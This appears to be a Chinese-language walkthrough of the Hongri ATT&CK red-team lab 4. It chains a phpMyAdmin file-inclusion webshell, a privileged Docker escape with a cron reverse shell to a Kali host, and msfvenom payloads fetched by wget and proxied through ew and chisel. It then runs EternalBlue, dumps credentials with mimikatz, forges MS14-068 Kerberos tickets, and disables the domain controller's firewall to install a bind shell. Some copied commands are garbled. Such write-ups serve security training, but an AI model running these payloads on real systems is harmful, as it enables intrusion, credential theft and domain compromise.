环境搭建 1 2 3 4 5 kali: 192.168.1.128 ubuntu:ubuntu 192.168.138.129 192.168.1.132 域成员机器 douser:Dotest123 192.168.138.128 administrator:Test2008 192.168 .138.130
ubuntu启动所有docker服务
1 sudo docker start $ (docker ps -a -q )
其中三个无法启动,不用管,保证2001-2003、3306端口的服务正常就行,应该是之前搭建测试的服务
信息收集
struts2:2001端口
tomcat:2002端口 CVE-2017-12615
phpmyadmin:2003端口 执行sql语句
发现没有写入权限,无法用select into outfile方法写入shell,只能尝试使用第二种方法
开启日志功能
1 set global general_log ='on' ;
这里phpmyadmin是4.8.1,直接尝试CVE-2018-12613
漏洞存在
注get马,post不行
1 SELECT ' <?php eval ($_GET [a]);?> '
Dokcer之privileged特权模式逃逸 只有tomcat靶机磁盘不为空,蚁剑虚拟终端操作
1 2 mkdir /test mount /dev/sda1 /test
定时反弹shell
1 2 3 touch /test /test .sh echo "bash -i >& /dev/tcp/192.168.1.128/9696 0>&1" >/test /test .sh echo "* * * * * root bash /test.sh" >> /test /etc/crontab
拿到root权限
发现内网
kali生成木马
1 msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST =192.168.22.133 LPORT =3333 -f elf > 3333.elf
开启http服务
1 python -m http.server 8080
ubuntu下载
1 wget http://192.168.1.128:8080 /3333 .elf
msf开启代理
1 2 3 4 use auxiliary/server/socks_proxyset SRVHOST set exploit
监听
1 2 3 4 5 use exploit/multi/handlerset payload linux/x64/meterpreter/reverse_tcpset lhost 0.0.0.0set lport 3333 exploit
添加路由
1 2 run autoroute -s 192.168.183.0/24run autoroute -p
扫描内网
1 2 3 4 use auxiliary/scanner/discovery/udp_probeset rhosts 192.168.183.0/24set threads 5 run
发现内网
永恒之蓝攻击
1 2 3 4 5 use exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/bind_tcpset rhost 192.168.183.128set lport 4444 exploit
msf代理很不稳定,换ew或者chisel
1 2 ./ew_for_linux64 -s rcsocks -l 1080 -e 5555 ./ew_for_linux64.1 -s rssocks -d 192.168 .22 .133 -e 5555
1 2 ./chisel server -p 6666 --reverse #kali ./chisel client 192.168 .22 .133 :6666 R:socks #web
Kerberos 域用户提权漏洞 win7上执行
1 2 3 4 5 6 7 8 cd C: /Users /douser/Desktop mimikatz.exe sekurlsa::logonpasswords kerberos::purge kerberos::ptc TGT_douser @DEMO .COM .ccache net use \\WIN -ENS2VR5TR3N dir \\WIN -ENS2VR5TR3N \c$
生成高权限票据
1 2 ms14-068 .exe -u douser@DEMO.com -s S-1 -5 -21 -979886063 -1111900045 -1414766810 -1107 -d 192.168.183.130 -p Dotest123 // ms14-068 .exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码
关闭win7防火墙
1 NetSh Advfirewall set allprofiles state off
新建服务关闭域控防火墙
1 2 3 sc \\WIN -ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \\WIN -ENS2VR5TR3N start unablefirewall
生成木马
1 msfvenom -p windows/x64/meterpreter/bind_tcp LHOST =192.168.1.128 LPORT =7777 -f exe > bind.exe
1 2 upload bind.exe C:// Windows// system32// bind.exe copy bind.exe \\WIN-ENS2VR5TR3N\c$
启动木马
1 2 3 sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe" sc \\WIN-ENS2VR5TR3N start bindshell
监听
1 2 3 4 5 6 7 use exploit/multi/handlerset Proxies set /meterpreter/set set set /windows//migrate run
参考
ATT&CK红队评估(红日靶场四) - FreeBuf网络安全行业门户
ATT&CK红队评估(红日靶场4) - itchen-2002 - 博客园 (cnblogs.com)